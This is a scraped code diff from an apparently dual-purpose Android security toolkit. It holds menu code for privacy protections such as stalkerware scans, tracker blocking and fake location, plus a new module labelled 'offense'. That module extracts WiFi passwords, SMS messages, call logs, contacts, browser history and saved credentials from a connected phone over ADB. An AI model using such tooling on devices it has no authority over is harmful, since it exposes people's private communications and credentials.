print(" Invalid JSON.")
|
||||
return
|
||||
result = self.mgr.configure_shield(self.serial, config)
|
||||
if result.get('ok'):
|
||||
print(f" Config sent: {result.get('output', '')}")
|
||||
else:
|
||||
print(f" Error: {result.get('output', 'Failed')}")
|
||||
|
||||
def do_grant_shield_perms(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
result = self.mgr.grant_shield_permissions(self.serial)
|
||||
for p in result.get('granted', []):
|
||||
print(f" [OK] {p}")
|
||||
for f in result.get('failed', []):
|
||||
print(f" [!!] {f['perm']}: {f['error']}")
|
||||
|
||||
# ── Tracking Honeypot ─────────────────────────────────────────
|
||||
|
||||
def do_honeypot_status(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
print(f"\n Checking honeypot status...")
|
||||
result = self.mgr.honeypot_status(self.serial)
|
||||
print(f"\n Honeypot Status:")
|
||||
print(f" Active: {result.get('active', False)}")
|
||||
print(f" Tier: {result.get('tier', 0)}")
|
||||
print(f" Ad tracking: {'limited' if result.get('ad_tracking_limited') else 'not limited'}")
|
||||
print(f" Private DNS: {result.get('private_dns_mode', 'off')}")
|
||||
if result.get('private_dns_host'):
|
||||
print(f" DNS host: {result['private_dns_host']}")
|
||||
protections = result.get('protections', {})
|
||||
if protections:
|
||||
print(f" Protections:")
|
||||
for k, v in protections.items():
|
||||
print(f" {k}: {v}")
|
||||
|
||||
def do_scan_tracker_apps(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
print(f"\n Scanning for tracker apps...")
|
||||
result = self.mgr.scan_tracker_apps(self.serial)
|
||||
if result.get('error'):
|
||||
print(f" Error: {result['error']}")
|
||||
return
|
||||
found = result.get('found', [])
|
||||
print(f" Found {len(found)} tracker packages out of {result.get('total', 0)} installed:")
|
||||
for pkg in found:
|
||||
print(f" - {pkg}")
|
||||
if not found:
|
||||
print(" No known tracker apps found.")
|
||||
|
||||
def do_scan_tracker_perms(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
print(f"\n Scanning for tracking permissions...")
|
||||
result = self.mgr.scan_tracker_permissions(self.serial)
|
||||
apps = result.get('apps', [])
|
||||
if apps:
|
||||
print(f" {len(apps)} apps have tracking permissions:")
|
||||
for app in apps[:30]:
|
||||
print(f" {app['package']}: {', '.join(app['permissions'])}")
|
||||
if len(apps) > 30:
|
||||
print(f" ... and {len(apps) - 30} more")
|
||||
else:
|
||||
print(" No apps with tracking permissions found.")
|
||||
|
||||
def do_ad_settings(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
print(f"\n Ad Tracking Settings:")
|
||||
result = self.mgr.get_tracking_settings(self.serial)
|
||||
for name, info in result.items():
|
||||
print(f" {info.get('description', name)}: {info['value']}")
|
||||
|
||||
def do_reset_ad_id(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
result = self.mgr.reset_advertising_id(self.serial)
|
||||
if result.get('ok'):
|
||||
print(f" {result['message']}")
|
||||
else:
|
||||
print(f" Error: {result.get('error', 'Failed')}")
|
||||
|
||||
def do_opt_out_tracking(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
result = self.mgr.opt_out_ad_tracking(self.serial)
|
||||
if result.get('ok'):
|
||||
print(f" {result['message']}")
|
||||
else:
|
||||
print(f" Error: {result.get('error', 'Failed')}")
|
||||
|
||||
def do_set_dns(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
print(" Available DNS providers:")
|
||||
db = self.mgr._load_tracker_domains()
|
||||
providers = db.get('dns_providers', {})
|
||||
for name, info in providers.items():
|
||||
print(f" {name}: {info.get('description', info.get('hostname', ''))}")
|
||||
try:
|
||||
provider = input(" Provider name: ").strip()
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
return
|
||||
if not provider:
|
||||
return
|
||||
result = self.mgr.set_private_dns(self.serial, provider)
|
||||
if result.get('ok'):
|
||||
print(f" {result['message']}")
|
||||
else:
|
||||
print(f" Error: {result.get('error', 'Failed')}")
|
||||
|
||||
def do_disable_location(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
result = self.mgr.disable_location_accuracy(self.serial)
|
||||
if result.get('ok'):
|
||||
print(" WiFi and Bluetooth scanning disabled.")
|
||||
else:
|
||||
print(" Some settings failed:")
|
||||
for r in result.get('results', []):
|
||||
status = "OK" if r['ok'] else "FAIL"
|
||||
print(f" [{status}] {r['setting']}")
|
||||
|
||||
def do_deploy_hosts(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
print(" Deploying hosts blocklist (requires root)...")
|
||||
result = self.mgr.deploy_hosts_blocklist(self.serial)
|
||||
if result.get('ok'):
|
||||
print(f" {result['message']}")
|
||||
else:
|
||||
print(f" Error: {result.get('error', 'Failed')}")
|
||||
|
||||
def do_setup_iptables(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
try:
|
||||
port_str = input(" Redirect port [9040]: ").strip()
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
return
|
||||
port = int(port_str) if port_str else 9040
|
||||
result = self.mgr.setup_iptables_redirect(self.serial, port)
|
||||
if result.get('ok'):
|
||||
print(f" {result['message']}")
|
||||
else:
|
||||
print(f" Error: {result.get('error', 'Failed')}")
|
||||
|
||||
def do_set_fake_location(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
try:
|
||||
lat = float(input(" Latitude: ").strip())
|
||||
lon = float(input(" Longitude: ").strip())
|
||||
except (ValueError, EOFError, KeyboardInterrupt):
|
||||
print(" Invalid coordinates.")
|
||||
return
|
||||
result = self.mgr.set_fake_location(self.serial, lat, lon)
|
||||
if result.get('ok'):
|
||||
print(f" {result['message']}")
|
||||
else:
|
||||
print(f" Error: {result.get('error', 'Failed')}")
|
||||
|
||||
def do_random_location(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
result = self.mgr.set_random_fake_location(self.serial)
|
||||
if result.get('ok'):
|
||||
print(f" {result['message']}")
|
||||
if result.get('location_name'):
|
||||
print(f" Location: {result['location_name']}")
|
||||
else:
|
||||
print(f" Error: {result.get('error', 'Failed')}")
|
||||
|
||||
def do_rotate_identity(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
result = self.mgr.rotate_device_identity(self.serial)
|
||||
if result.get('ok'):
|
||||
print(f" {result['message']}")
|
||||
for c in result.get('changes', []):
|
||||
status = "OK" if c['ok'] else "FAIL"
|
||||
print(f" [{status}] {c['setting']}: {c['value']}")
|
||||
else:
|
||||
print(f" Error: {result.get('error', 'Failed')}")
|
||||
|
||||
def do_fake_fingerprint(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
result = self.mgr.generate_fake_fingerprint(self.serial)
|
||||
if result.get('ok'):
|
||||
print(f" {result['message']}")
|
||||
else:
|
||||
print(f" Error: {result.get('error', 'Failed')}")
|
||||
|
||||
def do_activate_honeypot(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
print(" Select protection tier:")
|
||||
print(" 1) ADB only (no root)")
|
||||
print(" 2) ADB + Shizuku")
|
||||
print(" 3) Full (ADB + Shizuku + Root)")
|
||||
try:
|
||||
tier = int(input(" Tier [1]: ").strip() or '1')
|
||||
except (ValueError, EOFError, KeyboardInterrupt):
|
||||
return
|
||||
if tier not in (1, 2, 3):
|
||||
print(" Invalid tier.")
|
||||
return
|
||||
print(f"\n Activating Tier {tier} honeypot...")
|
||||
result = self.mgr.honeypot_activate(self.serial, tier)
|
||||
print(f" {result.get('summary', 'Done')}")
|
||||
for action in result.get('actions', []):
|
||||
r = action['result']
|
||||
status = "OK" if r.get('ok', False) else "FAIL"
|
||||
msg = r.get('message', r.get('error', ''))
|
||||
print(f" [{status}] {action['name']}: {msg}")
|
||||
|
||||
def do_deactivate_honeypot(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
print(" Deactivating honeypot...")
|
||||
result = self.mgr.honeypot_deactivate(self.serial)
|
||||
for action in result.get('actions', []):
|
||||
r = action['result']
|
||||
status = "OK" if r.get('ok', False) else "FAIL"
|
||||
print(f" [{status}] {action['name']}")
|
||||
print(" Honeypot deactivated.")
|
||||
|
||||
def do_tracker_stats(self):
|
||||
stats = self.mgr.get_tracker_stats()
|
||||
print(f"\n Tracker Domain Database:")
|
||||
print(f" Version: {stats['version']}")
|
||||
print(f" Total domains: {stats['total_domains']}")
|
||||
print(f" Companies: {stats['companies']}")
|
||||
print(f" Tracker pkgs: {stats['packages']}")
|
||||
print(f" DNS providers: {', '.join(stats.get('dns_providers', []))}")
|
||||
print(f" Categories:")
|
||||
for cat, count in stats.get('categories', {}).items():
|
||||
print(f" {cat}: {count} domains")
|
||||
|
||||
def do_update_trackers(self):
|
||||
print(" Updating tracker domains...")
|
||||
result = self.mgr.update_tracker_domains()
|
||||
if result.get('ok'):
|
||||
print(f" Updated: merged {result['merged']} new domains")
|
||||
else:
|
||||
print(f" Error: {result.get('error')}")
|
||||
|
||||
# ── Database ────────────────────────────────────────────────────
|
||||
|
||||
def do_sig_stats(self):
|
||||
stats = self.mgr.get_signature_stats()
|
||||
print(f"\n Signature Database Stats:")
|
||||
print(f" Version: {stats['version']}")
|
||||
print(f" Last updated: {stats['last_updated']}")
|
||||
print(f" Stalkerware families: {stats['stalkerware_families']}")
|
||||
print(f" Stalkerware packages: {stats['stalkerware_packages']}")
|
||||
print(f" Government spyware: {stats['government_spyware']}")
|
||||
print(f" Permission combos: {stats['permission_combos']}")
|
||||
|
||||
def do_update_sigs(self):
|
||||
print(" Updating signatures from GitHub...")
|
||||
result = self.mgr.update_signatures()
|
||||
if result.get('ok'):
|
||||
print(f" Updated: merged {result['merged']} new packages")
|
||||
else:
|
||||
print(f" Error: {result.get('error')}")
|
||||
|
||||
# ── Main Loop ───────────────────────────────────────────────────
|
||||
|
||||
def run_interactive(self):
|
||||
import json
|
||||
while True:
|
||||
self.show_menu()
|
||||
try:
|
||||
choice = input(" Select > ").strip()
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
break
|
||||
if choice == '0':
|
||||
break
|
||||
|
||||
actions = {
|
||||
'1': self.do_quick_scan,
|
||||
'2': self.do_full_scan,
|
||||
'3': self.do_export_report,
|
||||
'10': self.do_scan_stalkerware,
|
||||
'11': self.do_scan_hidden,
|
||||
'12': self.do_scan_admins,
|
||||
'13': self.do_scan_accessibility,
|
||||
'14': self.do_scan_listeners,
|
||||
'15': self.do_scan_spyware,
|
||||
'16': self.do_scan_integrity,
|
||||
'17': self.do_scan_processes,
|
||||
'18': self.do_scan_certs,
|
||||
'19': self.do_scan_network,
|
||||
'20': self.do_scan_devopt,
|
||||
'30': self.do_dangerous_apps,
|
||||
'31': self.do_analyze_perms,
|
||||
'32': self.do_perm_heatmap,
|
||||
'40': self.do_disable,
|
||||
'41': self.do_uninstall,
|
||||
'42': self.do_revoke,
|
||||
'43': self.do_remove_admin,
|
||||
'44': self.do_remove_cert,
|
||||
'45': self.do_clear_proxy,
|
||||
'50': self.do_shizuku_status,
|
||||
'51': self.do_install_shizuku,
|
||||
'52': self.do_start_shizuku,
|
||||
'53': self.do_install_shield,
|
||||
'54': self.do_configure_shield,
|
||||
'55': self.do_grant_shield_perms,
|
||||
'60': self.do_sig_stats,
|
||||
'61': self.do_update_sigs,
|
||||
'70': self.do_honeypot_status,
|
||||
'71': self.do_scan_tracker_apps,
|
||||
'72': self.do_scan_tracker_perms,
|
||||
'73': self.do_ad_settings,
|
||||
'74': self.do_reset_ad_id,
|
||||
'75': self.do_opt_out_tracking,
|
||||
'76': self.do_set_dns,
|
||||
'77': self.do_disable_location,
|
||||
'78': self.do_deploy_hosts,
|
||||
'79': self.do_setup_iptables,
|
||||
'80': self.do_set_fake_location,
|
||||
'81': self.do_random_location,
|
||||
'82': self.do_rotate_identity,
|
||||
'83': self.do_fake_fingerprint,
|
||||
'84': self.do_activate_honeypot,
|
||||
'85': self.do_deactivate_honeypot,
|
||||
'86': self.do_tracker_stats,
|
||||
'87': self.do_update_trackers,
|
||||
's': self._pick_device,
|
||||
}
|
||||
action = actions.get(choice)
|
||||
if action:
|
||||
action()
|
||||
else:
|
||||
print(" Invalid choice.")
|
||||
|
||||
|
||||
def run():
|
||||
ap = AndroidProtect()
|
||||
ap.run_interactive()
|
||||
@@ -0,0 +1,221 @@
|
||||
"""
|
||||
Android Device Reconnaissance - Extract device data, accounts, messages, history
|
||||
"""
|
||||
|
||||
DESCRIPTION = "Android device reconnaissance (data extraction, accounts, logs)"
|
||||
AUTHOR = "AUTARCH"
|
||||
VERSION = "1.0"
|
||||
CATEGORY = "offense"
|
||||
|
||||
import sys
|
||||
from pathlib import Path
|
||||
sys.path.insert(0, str(Path(__file__).resolve().parent.parent))
|
||||
|
||||
|
||||
class AndroidRecon:
|
||||
"""Interactive menu for Android device reconnaissance."""
|
||||
|
||||
def __init__(self):
|
||||
from core.android_exploit import get_exploit_manager
|
||||
from core.hardware import get_hardware_manager
|
||||
self.mgr = get_exploit_manager()
|
||||
self.hw = get_hardware_manager()
|
||||
self.serial = None
|
||||
|
||||
def _select_device(self):
|
||||
devices = self.hw.adb_devices()
|
||||
if not devices:
|
||||
print(" No ADB devices connected.")
|
||||
return
|
||||
if len(devices) == 1:
|
||||
self.serial = devices[0]['serial']
|
||||
print(f" Selected: {self.serial}")
|
||||
return
|
||||
print("\n Select device:")
|
||||
for i, d in enumerate(devices, 1):
|
||||
model = d.get('model', '')
|
||||
print(f" {i}) {d['serial']} {model}")
|
||||
try:
|
||||
choice = int(input(" > ").strip())
|
||||
if 1 <= choice <= len(devices):
|
||||
self.serial = devices[choice - 1]['serial']
|
||||
except (ValueError, EOFError, KeyboardInterrupt):
|
||||
pass
|
||||
|
||||
def _ensure_device(self):
|
||||
if not self.serial:
|
||||
self._select_device()
|
||||
return self.serial is not None
|
||||
|
||||
def show_menu(self):
|
||||
print(f"\n{'='*50}")
|
||||
print(" Device Reconnaissance")
|
||||
print(f"{'='*50}")
|
||||
print(f" Device: {self.serial or '(none)'}")
|
||||
print()
|
||||
print(" [1] Full Device Dump")
|
||||
print(" [2] Installed Accounts")
|
||||
print(" [3] WiFi Passwords [ROOT]")
|
||||
print(" [4] Call Logs")
|
||||
print(" [5] SMS Messages")
|
||||
print(" [6] Contacts")
|
||||
print(" [7] Browser History [ROOT]")
|
||||
print(" [8] Saved Credentials [ROOT]")
|
||||
print(" [9] Export Full Report")
|
||||
print(" [s] Select Device")
|
||||
print(" [0] Back")
|
||||
print()
|
||||
|
||||
def device_dump(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
print(" Running full device dump...")
|
||||
dump = self.mgr.full_device_dump(self.serial)
|
||||
print(f"\n SELinux: {dump.get('selinux', 'unknown')}")
|
||||
print(f" Kernel: {dump.get('kernel', 'unknown')}")
|
||||
print(f" Fingerprint: {dump.get('fingerprint', 'unknown')}")
|
||||
print(f" Packages: {dump.get('package_count', '?')}")
|
||||
info = dump.get('device_info', {})
|
||||
if info:
|
||||
print(f"\n Device Info:")
|
||||
for k, v in info.items():
|
||||
print(f" {k:<20} {v}")
|
||||
|
||||
def accounts(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
result = self.mgr.get_accounts(self.serial)
|
||||
if not result['success']:
|
||||
print(f" Error: {result.get('error', 'Failed')}")
|
||||
return
|
||||
print(f"\n Found {result['count']} accounts:")
|
||||
for a in result['accounts']:
|
||||
print(f" {a['name']} ({a['type']})")
|
||||
|
||||
def wifi_passwords(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
print(" Extracting WiFi passwords (requires root)...")
|
||||
result = self.mgr.get_wifi_passwords(self.serial)
|
||||
if not result['success']:
|
||||
print(f" Error: {result.get('error', 'Failed')}")
|
||||
return
|
||||
print(f"\n Found {result['count']} saved networks:")
|
||||
for w in result['passwords']:
|
||||
print(f" SSID: {w['ssid']}")
|
||||
print(f" PSK: {w['password']}")
|
||||
print()
|
||||
|
||||
def call_logs(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
result = self.mgr.extract_call_logs(self.serial)
|
||||
if not result['success']:
|
||||
print(f" Error: {result.get('error', 'Failed')}")
|
||||
return
|
||||
print(f"\n Found {result['count']} call log entries:")
|
||||
print(f" {'Number':<20} {'Type':<12} {'Duration'}")
|
||||
print(f" {'-'*50}")
|
||||
for c in result['calls'][:50]:
|
||||
print(f" {c.get('number','?'):<20} {c.get('type_label','?'):<12} {c.get('duration','?')}s")
|
||||
|
||||
def sms_messages(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
result = self.mgr.extract_sms(self.serial)
|
||||
if not result['success']:
|
||||
print(f" Error: {result.get('error', 'Failed')}")
|
||||
return
|
||||
print(f"\n Found {result['count']} SMS messages:")
|
||||
for m in result['messages'][:30]:
|
||||
print(f"\n [{m.get('type_label','?')}] {m.get('address','?')}")
|
||||
body = m.get('body', '')
|
||||
if len(body) > 100:
|
||||
body = body[:100] + '...'
|
||||
print(f" {body}")
|
||||
|
||||
def contacts(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
result = self.mgr.extract_contacts(self.serial)
|
||||
if not result['success']:
|
||||
print(f" Error: {result.get('error', 'Failed')}")
|
||||
return
|
||||
print(f"\n Found {result['count']} contacts:")
|
||||
print(f" {'Name':<25} {'Number'}")
|
||||
print(f" {'-'*45}")
|
||||
for c in result['contacts']:
|
||||
print(f" {c.get('display_name','?'):<25} {c.get('number','?')}")
|
||||
|
||||
def browser_history(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
print(" Extracting browser history (requires root)...")
|
||||
result = self.mgr.extract_browser_history(self.serial)
|
||||
if not result['success']:
|
||||
print(f" Error: {result.get('error', 'Failed')}")
|
||||
return
|
||||
print(f"\n Found {result['count']} history entries:")
|
||||
for h in result['history'][:30]:
|
||||
title = h.get('title', '')[:50]
|
||||
print(f" {title}")
|
||||
print(f" {h['url']}")
|
||||
|
||||
def saved_credentials(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
print(" Extracting saved credentials (requires root)...")
|
||||
result = self.mgr.extract_saved_credentials(self.serial)
|
||||
if not result['success']:
|
||||
print(f" Error: {result.get('error', 'Failed')}")
|
||||
return
|
||||
print(f"\n Found {result['count']} saved credentials:")
|
||||
for c in result['credentials']:
|
||||
print(f" URL: {c['url']}")
|
||||
print(f" User: {c['username']}")
|
||||
print(f" Pass: {'[encrypted]' if c['password_encrypted'] else '[empty]'}")
|
||||
print()
|
||||
|
||||
def export_report(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
print(" Generating full recon report...")
|
||||
result = self.mgr.export_recon_report(self.serial)
|
||||
if result['success']:
|
||||
print(f" Report saved: {result['report_path']}")
|
||||
print(f" Sections: {', '.join(result['sections'])}")
|
||||
else:
|
||||
print(f" Error: {result.get('error', 'Failed')}")
|
||||
|
||||
def run_interactive(self):
|
||||
while True:
|
||||
self.show_menu()
|
||||
try:
|
||||
choice = input(" Select > ").strip().lower()
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
break
|
||||
actions = {
|
||||
'0': None,
|
||||
'1': self.device_dump,
|
||||
'2': self.accounts,
|
||||
'3': self.wifi_passwords,
|
||||
'4': self.call_logs,
|
||||
'5': self.sms_messages,
|
||||
'6': self.contacts,
|
||||
'7': self.browser_history,
|
||||
'8': self.saved_credentials,
|
||||
'9': self.export_report,
|
||||
's': self._select_device,
|
||||
}
|
||||
if choice == '0':
|
||||
break
|
||||
action = actions.get(choice)
|
||||
if action:
|
||||
action()
|
||||
else:
|
||||
print(" Invalid choice.")
|
||||
|
||||
|
||||
def run():
|
||||
m = AndroidRecon()
|
||||
m.run_interactive()
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user